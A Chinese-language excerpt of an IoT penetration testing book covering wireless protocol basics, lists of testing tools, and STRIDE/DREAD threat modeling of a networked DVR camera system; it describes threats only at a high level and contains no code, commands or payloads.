        ZigBee是基于IEEE 802.15.4协议为物理层和媒体接入控制层实现的规范,支持低功耗无线Mesh网络。不同地区的ZigBee协议使用不同的ISM频段,但主要还是在全球使用2.4 GHz频段,在美国使用915 MHz频段,欧盟使用868 MHz频段。ZigBee网络由协调器(ZigBee Coordinator,ZC)、路由器(ZigBee Router,ZR)和终端节点(ZigBee End Device,ZED)组成。建立ZigBee网络时协调器自动启动进行组网。每个网络只允许有一个协调器,它是整个网络的信任中心,负责对入网节点的认证与验证,并且拥有唯一的入网密钥。路由器主要负责在各节点之间传送数据,并将协调器与终端节点连接起来。
        为了确保报文在网络中的正确传递,路由器需要一直处于工作状态。终端节点就是IoT设备,例如电灯开关、传感器、摄像头或者监控设备。终端节点不能在网络中路由数据,在没有数据传输的情况下会以低功率模式休眠。ZigBee网络基于两个安全密钥,即网络密钥和链路密钥。网络密钥是网络中所有设备共享的128位密钥,主要用于确保传输通信的安全。链路密钥是只在相互通信的两个设备之间共享的128位密钥,主要用于确保ZigBee应用层单播通信的安全。链路密钥可以预先分配给设备或通过密钥交换进行分发。但是在ZigBee网络中,已知设备配对过程中的密钥交换存在漏洞,攻击者能够利用该漏洞嗅探网络密钥交换过程,进而影响整个网络的安全。
        2015年,Blackhat安全大会上分享了一个关于ZigBee网络漏洞利用的议题,该议题的幻灯片链接为https://www.blackhat.com/docs/us-15/materials/us-15-Zillner-ZigBee-Ex-ploitedThe-Good-The-Bad-And-The-Ugly-wp.pdf

        1.7.3 Z-Wave

        Z-Wave是另一种低功耗无线通信协议,该协议支持主从模型的Mesh网络。Z-Wave使用低于1 GHz的频段,具体频段因地区而异(美国使用916 MHz频段,欧盟使用868.42MHz频段)。基于Z-Wave协议实现的物理层和媒体接入控制层经ITU认可成为国际标准G.9959。采用Z-Wave协议的设备最远通信距离能够达到328英尺(约100米),但在Mesh网络中,当流量通过Z-Wave设备时最远距离能够达到600英尺(约200米)。Z-Wave网络采用4字节(32比特)的HomeID进行标识,该标识也是控制器或主节点的唯一标识。每个节点加入网络时,控制器会为其分配1字节(8比特)的NodeID。HomeID不同的节点间不能通信。Z-Wave协议可以采用AES加密算法,这也是Z-Wave Hub所支持的加密算法,但是到底是否实现对于厂商而言是可选的。Z-Wave协议还具有良好的信号干扰检测特性,能够防止拒绝服务(Denial of Service,DoS)攻击。
        关于Z-Wave协议的更多内容请访问网站http://www.z-wave.com

        1.7.4 蓝牙

        蓝牙是一种常用的短距离数据通信的无线技术标准(IEEE 802.15.1)。蓝牙在2.4 GHz~2.485 GHz频段进行广播,最远通信距离可以达到100米,但常用于10米以内的通信。由于大量IoT设备采用蓝牙作为主要通信手段,后文将对蓝牙和低能耗蓝牙(Bluetooth Low Energy,BLE)的渗透测试技术进行介绍。关于蓝牙的其他内容可以参看链接https://www.bluetooth.com/what-is-bluetooth-technology/how-it-works

        1.8 IoT渗透测试环境的部署

        介绍完了IoT技术的所有基础概念,下面我们开始着手搭建IoT渗透测试环境。由于IoT设备用到了多种技术,因此在对软硬件开展渗透测试时会用到多款工具。其中既包括需要花钱采购的商用工具,也包括免费工具。为了不影响测试,部分硬件和无线电分析工具需要提前采购。尽管Web应用代理工具的许可费用并不高,但是在这里我们还是尽可能地选择花费不多的工具,如果有免费工具的话则尽可能使用免费工具。

        1.8.1 软件工具要求

        软件工具主要包括固件、Web应用以及移动应用测试工具。对于这三种类型的测试工具而言,除了用于Web测试的Burp Suite之外,大多数测试工具都是免费的。为了方便应用,建议最好提前部署好虚拟环境,并将固件分析、Web应用测试、移动应用测试(测试内容有限)以及无线电分析过程需要用到的大多数工具安装好。本节中,我们将所有可能用到的工具进行了汇总。
        1.固件分析工具
        幸运的是,大多数固件分析工具都是免费并且开源的。有些工具会自动更新,而另一些工具虽然已经长期没有更新,但仍然可以用于测试。读者可以使用下面列出的固件工具来分析固件镜像、提取镜像以及在运行时附加到固件进程中以方便调试:

        • Binwalk
        • Firmadyne
        • Firmwalker
        • Angr
        • firmware-mod-toolkit
        • Firmware Analysis Toolkit
        • GDB
        • Radare2
        • Binary Analysis Tool(BAT)
        • Qemu
        • IDA Pro(可选)

        2. Web应用渗透测试工具
        Web应用渗透测试的常见工具主要包括Burp Suite和OWASP ZAP。Burp Suite有免费版和专业版之分,专业版的价格也不算离谱。而ZAP则是完全免费并且开源的,在需要控制成本的情况下,ZAP不失为一种比较好的选择。在对Web服务和API进行测试时,还可以加载插件。但是,如果要安装Burp Suite的插件,则需要先购买专业版。这里列出的所有工具都是跨平台的,它们要么是基于Java开发的,要么可以内置在浏览器中:

        • Burp Suite
        • OWASP Zed Attack Proxy(ZAP)
        • REST Easy Firefox Plugin
        • Postman Chrome Extension

        3.移动应用渗透测试工具
        同固件分析工具一样,大多数移动应用安全工具也都是免费并且开源的。根据下面所列出的移动平台可以对移动应用渗透测试工具进行分类。
        (1)Android
        在撰写这本书的时候,网上已经有很多Android渗透测试工具和虚拟机了。有些工具完全侧重于APK代码的静态分析,还有些工具则侧重于应用运行时的动态分析。已发行的大多数Android渗透测试虚拟机都是免费的,其中包含了测试Android SDK等Android应用所需要的工具。虽然我们列出了一些Android渗透测试工具,但是依然建议读者下载与自己的测试需求最为契合的Android渗透测试虚拟机,并在虚拟机中安装其他用到的渗透测试工具。
        在这里,虽然没有明确要求Android测试工具同本机相互隔离,但是为了确保移动应用测试环境更加稳定,并避免出现文件依赖问题,我们还是建议读者将Android测试环境同本机隔离起来。

        • 发行版Android渗透测试虚拟机:Android SDK、Android Emulator
        • Enjarify
        • JD-Gui
        • Mob-SF
        • SQLite Browser
        • Burp Suite
        • OWASP ZAP

        (2)iOS
        由于iOS平台比较特殊,因此在开始渗透测试前需要准备好OS X计算机和已越狱的苹果设备。如果不满足这两个前提条件,那么是无法对iOS应用开展渗透测试的。下面是对iOS应用进行渗透测试时用到的部分工具。
        下面列出的是需要在OS X计算机上安装的iOS应用渗透测试工具和安全评估工具:

        • idb
        • Xcode Tools
        • Class-Dump
        • Hopper(可选)
        • Mob-SF
        • SQLite Browser
        • Burp Suite
        • OWASP ZAP

        下面列出的是为开展渗透测试需要安装在越狱设备上的软件:

        • Cydia
        • openURL
        • dumpdecrypted
        • ipainstaller
        • SSL Kill Switch 2
        • Clutch2
        • Cycript

        1.8.2 硬件分析工具需求

        根据所分析设备的不同,硬件分析工具也有所不同。然而,有一些基本的分析工具对于所有硬件甚至是电气元件都是适用的。设备商在制造设备时会使用不同型号的螺丝、外壳和保密位以防止用户拆解硬件。有时,螺丝会隐藏在标签或橡胶垫下,分析人员需要撕开标签或者揭开橡胶垫才能找到封装设备的螺丝。在硬件拆解过程中,确定螺丝型号至关重要。只有确定了螺丝型号,我们才能够借助专用工具拆解设备,绕过厂商设置的阻碍。图1-8可以帮助测试人员区分出螺丝类型。
        下面列出了本书中将要用到的硬件工具和硬件分析软件。
        1.硬件工具
        开始硬件测试前需要提前购买一些硬件工具。以下是拆解设备、查找接地引脚以及访问设备接口所需要的工具:

        • 万用表

        image.png

        • 用于硬件拆解的IFixit classic pro tech toolkit工具套装
        • Bus Pirate
        • USB转串口转接器:Shikra、FTDI FT232、CP2102、PL2303、Adafruit FTDI Friend
        • JTAG接口转接器:Shikra、JTAGulator、Arduino with JTAGenum、JLINK、Bus Blaster
        • 逻辑分析仪(可选):Saleae Logic等

        读者可以访问以下链接了解更多的信息:

        2.硬件分析工具
        下面列出的都是免费的硬件分析工具。这些工具能够帮助读者连接Console口等硬件接口,或者将固件以side-loading方式刷入设备:

        • OpenOCD
        • Spiflash
        • Minicom
        • Baudrate

        1.8.3 无线电分析工具需求

        为了嗅探无线网络流量,需要准备特定的无线芯片组。在本书中我们将主要关注ZigBee和Z-Wave协议流量的嗅探。在无线网络流量嗅探过程中,部分特定软件需要配合无线网卡与软件狗进行使用。无线网卡和分析软件的使用建议如下。
        1.无线电分析硬件
        下面列出了用于分析无线电频谱的硬件设备:

        • Atmel RZ Raven USB设备(KillerBee攻击框架)
        • Attify Badge(或者C232HM-DDHSL-0线缆同Adafruit FTDI Breakout开发板的搭配)
        • HackRF One
        • Yardstick One
        • 带有Xbee Shield模块的XBee扩展板
        • Ubertooth
        • BLe适配器

        2.无线电分析软件
        下面列出了常用的无线电分析软件工具,列出的大部分工具在本书中都会用到。

        • KillerBee框架
        • Attify ZigBee框架
        • GNU Radio
        • BLEAH
        • GQRX
        • Ubertooth tools
        • Blue Hydra
        • RTL-sdr
        • Hackrf packages
        • EZ-Wave
        ]]>
        带你读《物联网渗透测试》之二:IoT威胁建模-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 点击查看第一章
        点击查看第三章

        第2章

        IoT威胁建模
        本章将主要介绍以下主题:

        • 威胁建模概念简介。
        • IoT设备威胁建模剖析。
        • 固件威胁建模。
        • IoT Web应用威胁建模。
        • IoT移动应用威胁建模。
        • IoT设备硬件威胁建模。
        • IoT无线电通信威胁建模。

        2.1 简介

        无论读者具有软件研发背景还是具有系统或者网络运维背景,可能都对各自领域中的攻击面或者攻击向量都已经比较熟悉了。攻击面指的是通过某一输入源实现设备入侵的多种途径。输入源可以来自硬件、软件,也可以来自无线方式。一般来说,设备中包含的攻击面越多,被入侵的可能性就越大。所以,攻击面其实就是进入IoT设备的入口点。有些IoT设备或应用在设计开发时默认信任这些入口点。但是所发现的攻击面都有与之相关联的入侵风险、入侵概率以及入侵影响。因此从本质上来说,攻击面就是可能对设备带来不良影响,进而导致设备执行非预期操作的威胁。为了识别出所有攻击面,在开展渗透测试或开发软件之前需要尽可能详尽地列出理论上存在的威胁用例,这一过程称为威胁建模。
        本章将讨论威胁建模的基本原理,以及如何借助威胁建模开展IoT设备的漏洞利用。对固件、Web应用、移动应用、设备硬件和无线电通信建立基本的威胁模型能够帮助读者找到适当的切入点开展渗透测试。
        虽然本章仅是对威胁建模的一个介绍。但是关于这一主题已经出版了不少相关书籍。如果读者想深入理解威胁建模概念并需要查阅相关资料的话,可以选择有关威胁建模的书籍或者参考第三方网站进行了解。

        2.2 威胁建模概念简介

        威胁建模同软件开发存在一定联系,因为威胁建模是在软件设计阶段之后、软件部署阶段之前开展的一次演练。演练通常由软件开发团队、系统运维团队、网络运维团队以及安全团队在重大软件发布之前开展,通过绘制完整的端-端数据流图,或者通过绘制数据流与网络图,都能够对部署安全控制措施与入侵对抗措施提供帮助。上述图表可以画在白板上也可以借助软件来绘制,例如微软就提供了免费的威胁建模工具Threat Modeling Tool,此外还有Web应用https://draw.io 也可以用来完成这项工作,链接中给出的Web应用提供了大量模板可以用于绘制多种用途的图表。图表绘制的思路是将设备的所有功能、特性同与之关联的技术建立映射。而如何绘制威胁模型的版式则取决于机构或者绘制者自身。需要谨记的是,当将组件逐个分解时,威胁模型会进一步细化。对于威胁建模而言,非常重要的一方面在于需要不断进行文档迭代,因为当设备添加了新特性之后或者对设备所采用的技术有了更深了解时,对威胁的认识也会不断深化。
        一旦确定了IoT设备的攻击面之后,就需要使用STRIDE等方法确定威胁用例,STRIDE方法将会放在后面的章节中进行讨论。这些威胁需要通过评级系统进行评级,进而确定所识别出的威胁的风险等级。在不同的行业中,可以采用不同的威胁评级系统,其中最常见的是DREAD评级系统以及通用安全漏洞评分系统(Common Vulnerability Scoring System,CVSS)。下面分别对CVSS评分系统和DREAD评级系统进行介绍。
        CVSS系统的评分粒度更加细致,该系统囊括了3个度量组共14个度量维度,3个度量组分别是:基本得分、临时得分和环境得分。这3个度量组又分别包含了6个基本度量维度、3个临时度量维度和5个环境度量维度。当向厂商提交漏洞时,CVSS系统的评级结果是非常有用的,但是对于威胁建模来说则可能不够直观。想要了解更多关于CVSS系统的内容可以访问链接https://www.first.org/cvss/user-guide
        DREAD评级系统名称中的每个字母分别表示如下含义:

        • 潜在危害(Damage potential):如果漏洞利用成功可能造成的危害有多大?
        • 可重现性(Reproducibility):重现攻击的难易度如何?
        • 可利用性(Exploitability):发起攻击的难易度如何?
        • 受影响用户(Affected users):大概会有多少用户受到影响?

        发现难度(Discoverability):发现该漏洞的难易度如何?
        DREAD评级系统的风险评级范围为1~3。其中1代表低风险,2代表中风险,3代表高风险。
        表2-1展示了各评级类别的评级结果所对应的含义。

        image.png

        在开展威胁评级之前,需要识别出威胁。为了准确地阐释安全隐患,进而识别出潜在威胁,可以采用STRIDE模型。STRIDE模型将威胁分为6种类型。这6种威胁类型分别对应于英文缩写STRIDE的首字母,其含义如下:

        • 身份欺骗(Spoofing Identity):身份欺骗即通过使用虚假身份信息来尝试获取系统的访问权限。攻击者可以使用窃取的用户认证信息或者伪造的IP地址来实现身份欺骗。当攻击者以合法用户或者本地主机的身份成功获得目标系统访问权限后,就可以进一步以授权身份开展权限提升或者其他恶意操作。
        • 数据篡改(Tampering with Data):篡改是指在未经授权的情况下恶意修改数据,例如篡改网络中两台计算机之间的通信数据。
        • 抵赖(Repudiation):抵赖是指用户能够(以合法或者不合法的形式)否认其执行了某项操作或业务。如果未配备适当的审计措施,则难以证实攻击者发起了抵赖攻击。
        • 信息泄露(Information Disclose):信息泄露是指私有数据的意外公开。例如,用户能够查阅未授权表格或文件的内容,或者监控通过网络发送的明文数据。信息泄露漏洞的部分实例包括隐藏的表单字段、Web页面注释中遗留的数据库连接语句和连接信息,以及可能向用户泄露内部系统信息的不完善的异常处理等。所有这些信息对于攻击者实施攻击都大有帮助。
        • 拒绝服务(Denial of Service):拒绝服务是指导致系统或应用不可用的过程。举个例子,通过向服务器发送海量请求消耗掉目标系统所有可用的系统资源就可以实现针对目标的拒绝服务攻击,此外,发送足以导致应用进程崩溃的畸形输入也可以实现拒绝服务攻击。
        • 权限提升(Elevation of Privilege):当拥有有限权限的用户以特权用户的身份取得了某应用的特权操作权限时即实现了权限提升。例如,权限受限的攻击者通过提权可以实现入侵,或者接管具有较高权限并且受信任的进程或账户。

        可以通过以下链接来了解关于STRIDE模型的更多细节:
        https://msdn.microsoft.com/en-us/library/ee823878(v=cs.20).aspx
        https://msdn.microsoft.com/en-us/library/ff648641.aspx
        微软公司提出了一种非常好的威胁建模方法,该方法采用多步处理来确定新应用或者新系统所引入威胁的严重程度。其威胁建模处理步骤如图2-1所示。

        image.png

        了解微软威胁建模过程的更多内容可以参考以下链接:
        https://msdn.microsoft.com/en-us/library/ff648644.aspx
        后面我们将采用STRIDE模型和DREAD评级系统以黑盒测试的方式开展威胁建模演练,并将IoT设备进行分解,对其中的各个组件分别进行威胁建模。这里我们建议,读者无论在开展任何安全测试之前,最好都先进行威胁建模,通过威胁建模来保障测试的覆盖面。思考所有潜在威胁发生的概率并对其分类的过程很有意思,需要读者好好动动脑筋。

        2.2.1 准备工作

        在逐一介绍威胁建模方法时,我们将会用到微软公司提供的免费威胁建模工具Threat Modeling Tool以及基于制图网站https://draw.io 所绘制的图表。在本书撰写阶段,我们从链接https://www.microsoft.com/en-us/download/details.aspx?id=49168 下载了微软的威胁建模工具Threat Modeling Tool 2016。

        2.2.2 测试流程

        在本节中,我们使用微软威胁建模工具Threat Modeling Tool来进行图表绘制,采用该工具绘制网络图表非常简单:
        1)启动微软威胁建模工具Threat Modeling Tool 2016。选择“创建模型”(Create A Model)选项,如图2-2所示。

        image.png

        2)然后,熟悉工具中所提供的用于表示设备、通信传输以及输入输出可信边界的模板(Stencils)。微软针对不同的模板与选项提供了用户指南,当下载工具时可以一并下载,但并不做强制要求。
        2016版的微软威胁建模工具Threat Modeling Tool中允许用户自定义模板,用户可以创建模板(Stencils),从而更加准确地刻画各个组件同威胁之间的关系,如图2-3所示。

        image.png

        3)每套模板的属性都可以根据设备、网络或者应用的实际情况加以调整,如图2-4所示。
        4)至此,我们通常就可以从一个较高的角度来识别IoT系统的资产了,并且,当通过研究或逆向分析对目标设备具备了更深的了解之后,可以进一步聚焦于所感兴趣的领域。资产识别的过程可以采用表格或者思维导图的形式加以记录。表2-2列出了一份基本的资产清单,其中对各项资产进行了简要说明。
        5)图2-5展示了部署了智能门铃、LED灯具、移动应用以及IoT Hub的智能家居环境。

        image.png

        image.png
        image.png

        image.png

        上面的例子只是威胁建模演练的开始。我们已经介绍了如何下载微软威胁建模工具Threat Model Tool,并熟悉了模板及其相关属性。然后,我们通过研究或逆向分析对智能家居环境进行了简单描述,进行了智能家居环境中的资产识别。接下来我们绘制了架构图,形象地展示了识别出的资产。下一步将是威胁建模的核心,即通过分解IoT系统的各个组成部分,帮助读者发现攻击入口点、确定攻击方法,以及分析IoT系统的某一部分遭受攻击后所造成的影响。与其他安全分析工作一样,测试人员对目标测试平台越熟悉,成功实施入侵的可能性也就越大。

        2.3 IoT设备威胁建模剖析

        2016年,我们见证了一起针对IoT设备的大规模漏洞利用事件,事件中的IoT设备主要包括网络摄像头和数字视频录像机(Digital Video Recorder,DVR),攻击者利用这些设备发起了全球有史以来最大规模的分布式拒绝服务攻击(Distributed Denial of Service,DDoS)。这次DDoS攻击缘起于厂商对IoT设备安全问题的轻视,而这些问题通过基本的威胁建模演练就可以避免。考虑到上述类型的设备在互联网中普遍存在以及它们可能给互联网带来的风险,我们将对联网DVR与网络摄像头安防系统开展威胁建模,并详细介绍威胁建模过程。普通个人用户或者中小型企业通过电商平台或者众多电子用品商店以相当低的价格就可以购买到这些联网的安防系统。联网DVR系统可以作为IoT系统的一个绝佳示例,因为为了能够查看摄像头监控视频,设备中包含了很多入口点,用户还可以在路由器无须开放端口的情况下连接到第三方服务提供商以远程查看监控视频。从黑盒测试的角度来看,搜集IoT设备及其应用程序的细节信息可能有点棘手。但是,这些产品一般都有大量在线资源可以利用,从而有助于威胁建模。
        测试流程
        开展针对联网DVR系统的威胁建模时,我们将继续采用之前介绍的微软多步威胁建模方法。
        步骤1 资产识别
        首先统计所有DVR资产并形成文档,以便了解哪些设备最可能遭受攻击从而予以重点关注。对于攻击者而言,如果能够找到那些存在已知漏洞的资产,那么在针对DVR系统开展漏洞利用时将节省大量时间。部署设备时,查看设备背部粘贴的标签以及用户手册就可以了解到有关DVR系统资产的信息,具体信息如表2-3所示。

        image.png

        步骤2 IoT设备架构概况构建
        通过构建架构概况,可以采用可视化的方式形象地展示出攻击者如何攻击DVR系统,进而以非预期的手段利用系统。在构建IoT设备架构概况时,我们的目标是基于在整套流程中搜集或了解到的数据将DVR系统的功能、应用及其物理架构形成文档。我们希望能够发现DVR系统设计和实现中的漏洞,其中也包括识别出系统所采用的不同技术。接下来我们将架构概况的构建分为以下3项工作:

        • 编制DVR系统功能特性文档
        • 构建架构图,详细刻画DVR生态系统
        • 识别系统所采用的技术

        在编制DVR系统功能特性文档之前,我们先准备一组用例。
        用例1:用户在本地网络中通过本地Web应用查看视频
        1)用户安装DVR设备及摄像头。
        2)用户创建用户账户。
        3)用户对DVR设备和摄像头配置进行设置。
        4)用户通过以太网连接DVR设备并确保网络连通。
        5)用户记录下DVR设备的IP地址。
        6)用户安装厂商提供的插件与软件。
        7)用户通过Web浏览器登录DVR设备。
        8)用户选择摄像头并查看监控视频。
        用例2:用户通过移动应用远程查看视频
        1)用户对平台配置进行设置,确保能够访问厂商的SaaS服务。
        2)用户下载并安装Android或iOS应用。
        3)在应用安装时,用户为厂商的SaaS应用创建独立的用户账户。
        4)用户登录移动应用。
        5)用户使用移动应用扫描DVR设备下方的条形码进行厂商验证。
        6)用户选择摄像头并查看监控视频。
        图2-6给出了上述用例的架构图,图中包含了DVR生态系统各组件的详细信息。

        image.png

        架构图绘制完成后,就需要识别并分析系统所采用的各种技术了。鉴于某些操作系统、协议和底层函数库可能早已存在已知漏洞。因此,为了便于开展进一步分析,并清晰刻画出潜在的威胁用例,将系统中所采用的技术(见表2-4)形成文档非常重要。

        image.png
        image.png

        步骤3 IoT设备分解
        接下来,我们对DVR系统环境中的应用与协议数据流进行分析,定位设备或客户端应用中的漏洞。我们所要搜索的位置可能需要更高权限才能访问,在此过程中需要记录下每个可能的入口点。其中,只需要找到一个能够危害到DVR系统的机密性和完整性的攻击入口点,就能够帮助攻击者赢得攻防中的主动权。
        这些入口点根据所使用的平台、技术和协议的区别可能有所不同,在本节中,我们将从一个更高的层次来看待这个问题。同时,我们还需要检查技术和特性之间的各种信任边界。一旦完成了对DVR架构的分解,读者就可以更好地理解攻击面以及针对数据的破坏方式。
        图2-7是DVR系统环境中对数据流的分解示意图示例:

        image.png

        数据流绘制完成后,表2-5对入口点进行说明。

        image.png

        步骤4 威胁识别
        到了这个阶段,我们已经绘制完成了DVR系统的数据流,并确定了都有哪些入口点。现在我们必须判断每个入口点的风险,这些风险同用户、网络和应用以及应用的开发厂商息息相关。从攻击者的视角来看,我们需要识别出影响网络、应用以及主机的威胁,因为其中存在可以被利用的漏洞,进而可能导致以下后果:

        • 影响大量使用某DVR系统的用户。
        • 入侵厂商基础设施并造成大规模漏洞利用。
        • 入侵DVR设备,给用户带来隐私泄露的风险。
        • 入侵DVR设备,给DVR用户带来功能安全方面的风险。

        为了帮助定位威胁并对威胁进行分类,我们采用STRIDE模型对DVR IoT系统进行安全评估。在表2-6中,我们使用一组威胁类型来代替IoT中的安全隐患。表中所列内容可能并不完备,但是在考虑可能对整个DVR系统环境造成的安全威胁时,能够为读者提供一些思路。

        image.png

        或者,在这里我们也可以从更高的层面上简单列出可能存在的威胁,后面的章节中我们将对每个组件的威胁进行深入探讨。受知识面所限,有些威胁可能是未知的或者还停留在理论层面,但是对围绕这些威胁开展头脑风暴开拓思维也是很重要的。为了识别出尽可能多的威胁,读者可以找个小伙伴一起练习,或者找到正在尝试入侵你所感兴趣的某套IoT系统的人组团开黑。下面是我们找出的DVR系统高级别威胁示例,攻击者可以执行这些操作:

        • 远程接管DVR系统。
        • 在未经认证的情况下,远程查看视频(秘密监视)。
        • 关闭摄像头的回放功能。
        • 跟踪某个个人。
        • 基于所搜集的情报闯入某片区域。
        • 在DVR设备中植入木马。
        • 获得物理接触的权限,并破坏视频记录。
        • 通过发送请求过载DVR系统,使其不能正常工作。
        • 窃听DVR系统通信数据。

        步骤5 威胁建档
        接下来,我们将在步骤4中识别出的部分威胁用例形成文档(见表2-7~表2-9),文档中主要包括威胁描述、威胁目标、攻击技术以及可能采用的对抗措施。
        威胁1

        image.png

        威胁2

        image.png

        威胁3

        image.png

        步骤6 威胁评级
        现在,我们已经识别出了针对DVR系统的威胁并将其形成了文档,下面根据威胁发生的可能性以及可能导致的影响,我们采用DREAD评级系统对威胁进行评级。在本章前文我们已经对DREAD评级系统进行了介绍,也正如前文所指出的那样,用户也可以根据实际情况采用其他评级系统进行威胁评级。DREAD评级系统中每个方面的评级都分为3个等级:3表示高风险;2表示中风险;1表示低风险。
        在DREAD模型中,按照表2-10所示的评级标准确定最终的风险等级。

        image.png

        DVR系统中某威胁用例的威胁评级示例如表2-11所示。

        image.png

        起初,由于DVR系统用到了众多不同的组件,因此在考虑到所有的威胁用例的情况下,对整个DVR系统进行威胁建模可能会有点儿困难。尽管存在这样或那样的困难,但是一旦建模完成,读者将会发现许多潜在的高风险脆弱点,在渗透测试过程中就可以对这些高风险脆弱点予以重点关注。同时,这一工作也使得我们在对IoT系统开展渗透测试时更容易确定脆弱点的优先级。

        2.4 固件威胁建模

        在之前介绍的内容中,我们对DVR系统进行了威胁建模并对威胁用例进行了评级,这有助于对测试中所要针对的脆弱点进行优先级排序。在本节中,我们将对同一DVR系统中的固件进行威胁建模。

        2.4.1 准备工作

        在针对固件的威胁建模演练中,我们将使用免费在线绘图软件https://draw.io刻画固件中各组件的关系。该软件是一款Chrome应用,存储绘制的图表时需要同第三方服务绑定,例如Google Drive或GitHub。借助该软件可以绘制出重叠的关系和过程,而在微软的威胁建模工具Threat Modeling Tool则难以做到这一点。其实,任何能够有效刻画出目标设备或软件之间关系架构的工具都可以满足威胁建模的需求。
        在开始绘制图表之前,需要完成以下操作:
        1)选择“创建新图表”(Create New Diagram)。
        2)选择“软件设计”(Software Design)。
        3)选择部署图2-8中所示的图表模板。

        image.png

        4)删除模板中所有未用到的图表,仅为固件及其内部组件保留一个方框。
        5)将资产拖放到图表中,刻画出资产之间的关系。

        2.4.2 测试流程

        对于固件而言,我们能够通过设备封装情况、基本的端口探测或者各种在线资源来识别其所运行的操作系统类型。现在,我们应该对固件如何在嵌入式IoT设备中运行已经具备了一定的认识,这些内容在第1章中已经有所提及。本节不再像前面的章节一样进行细节的深入讨论,但是我们需要依据对固件的了解情况对固件的组件加以刻画,进而识别出潜在威胁并开展渗透测试。简单起见,后面将会对部分威胁建模步骤加以合并。
        步骤1 资产识别
        根据对DVR固件及其所提供服务的了解,我们对固件资产进行整理,如表2-12所示。

        image.png

        步骤2及步骤3 架构概况构建及分解
        现在我们已经对DVR系统服务所用到的固件组件以及库文件有了一个大致了解。下面绘制设备、固件内容以及文件系统内容之间的关系,形成概况图,如图2-9所示。

        image.png

        步骤4 威胁识别
        基于概况图和对固件内容的了解我们可以将威胁形成文档。需要记住的是,当前阶段我们还没有对固件镜像进行反汇编,也尚未定位其具体位置。图表中的内容是基于DVR系统宣称其所提供的服务和在线文档得到的。下面列出针对固件的潜在威胁,攻击者可以基于所列出的威胁尝试开展漏洞利用:

        • 针对网络服务实施远程代码执行攻击。
        • 获取文件系统的管理员访问权限,并对局域网发起攻击。
        • 拦截网络通信。
        • 通过SSH访问文件系统资源。
        • 篡改DNS配置信息,将流量重定向到被攻击者的网络/计算机。
        • 访问固件中的Web配置信息和敏感信息。
        • 在DVR设备中安装恶意固件或应用。
        • 跟踪用户活动。
        • 篡改摄像头视频和内容。
        • 篡改审计日志信息。
        • 毁瘫DVR设备。
        • 拦截所有向DVR设备发起的网络连接。

        步骤5 威胁建档
        接下来,我们将挑选一些威胁用例,并依据威胁描述、威胁目标、攻击技术以及可能采用的对抗措施的形成文档(见表2-13~表2-15),进而对威胁风险进行评估。
        威胁1

        image.png

        威胁2

        image.png

        威胁3

        image.png

        步骤6 威胁评级
        正如我们之前所做的那样,这里我们仍然采用DREAD评级系统对每个威胁进行评级。我们将使用表2-16评定威胁的风险等级,评级过程中首先选择某种威胁,然后找出其对应的风险等级即可。

        image.png

        大多数嵌入式设备的操作系统通常以root或admin权限运行。这意味着任何针对固件的漏洞利用无须提权即可获得最高访问权限。对于很多受监管行业而言可能还需要开展进一步研究,但是如果读者正在对消费级设备进行测试,那么如果固件已经能够以root权限运行了,则攻击成功的可能性会显著提高。

        2.5 IoT Web应用威胁建模

        接下来继续介绍针对DVR系统的威胁建模演练,下一步我们将分解Web应用。DVR系统包含两种类型的Web应用。一种是嵌入式Web应用,在DVR设备内部运行。另一种是由厂商提供的SaaS应用,用于远程访问DVR系统和视频。
        SaaS应用能够实现对局域网内嵌入式DVR设备的访问。然而,本文我们主要关注DVR系统中运行的本地嵌入式Web应用,而非厂商的SaaS应用。在本章开头,我们曾简单提到了部分厂商Web应用所采用的技术,但是目前除此之外难以开展更深入的了解。下面,我们将绘制嵌入式Web应用的架构,其中在威胁部分涉及厂商SaaS应用,但是由于不知道其采用的架构,所以无法绘制其架构图。
        测试流程
        现在,我们应该对如何从头开始构建威胁模型已经能够在脑海中形成大体的思路了。了解了这些内容后,我们就可以忽略威胁建模过程中的部分步骤,而将重心放在更加重要的方面。
        步骤1 架构概况创建及分解
        下面我们将基于对嵌入式Web应用的了解绘制架构概况图,然后在架构的数据流中识别威胁并进行评估。图2-10展示了嵌入式Web应用的部分基本功能。

        image.png

        由于只有局域网中的流量,没有公网流量,所以应用的数据流比较简单。因此,识别嵌入式应用中的威胁不算太难。
        步骤2 威胁识别
        嵌入式Web应用中的数据流比较简单,所以将威胁用例形成文档本应轻而易举,但是考虑到还有厂商基于SaaS的Web应用,因此我们还需要再添加一些额外的场景。
        攻击者针对DVR嵌入式Web应用和厂商SaaS应用开展漏洞利用能够实现以下操作:

        • 劫持用户会话查看摄像头监控视频和配置。
        • 监视API调用。
        • 通过命令注入漏洞执行操作系统命令。
        • 泄露敏感用户信息。
        • 采用SQL注入漏洞转储数据库中的数据(拖库)。
        • 任意脚本执行。
        • 获取其他用户账户的访问权限。
        • 伪造已登录用户的请求(CSRF)。
        • 修改DVR配置,将流量重定向到未经授权的用户或网络。
        • 追踪用户。
        • 泄露摄像头回放视频。
        • 删除摄像头回放视频。
        • 对厂商的Web服务器或应用服务器开展漏洞利用。
        • 阻止正常用户的访问。

        步骤3 威胁建档
        接下来,同之前工作类似,我们选择部分典型威胁用例形成文档(见表2-17~表2-19),文档中包括威胁描述、威胁目标、攻击技术以及可能采用的对抗措施,并对其风险进行评级。
        威胁1

        image.png

        威胁2

        image.png

        威胁3

        image.png

        步骤4 威胁评级
        我们将使用表2-20评定威胁的风险等级,选择某个威胁之后,即可确定其对应的风险评级。

        image.png

        显然,对于攻击者而言,针对厂商SaaS应用开展漏洞利用能够取得更理想的效果,因为其中保存了大量的用户信息以及其他内容。但是,希望读者一定要在法律许可的范围内开展测试,并提前获得甲方授权。话又说回来,针对嵌入式Web应用开展渗透测试,虽然可能不一定会取得同针对厂商SaaS应用开展渗透测试一样的评价,但如果充分分析设备的在线资料了解其用法,进而挖掘出一个可以远程利用的漏洞,那么肯定也会大有收获。

        2.6 IoT移动应用威胁建模

        在下一个威胁建模演练中,我们将对DVR系统中的IoT移动应用进行分析。代理商和不同的OEM为DVR系统(和IoT中的其他系统一样)开发了多套移动应用。出于演示的目的,我们只分别选择了一款Android应用和一款iOS应用进行威胁建模。
        测试流程
        在前面的章节中,我们已经绘制了很多数据流图,本节中我们将继续使用微软威胁建模工具Threat Modeling Tool进行图表绘制。
        步骤1 架构概况构建与分解
        与之前绘制图表的步骤类似,这里我们直接展示构建完成的数据流图,其中包括了移动应用中的所有已知资产。图2-11是移动应用的数据流图。
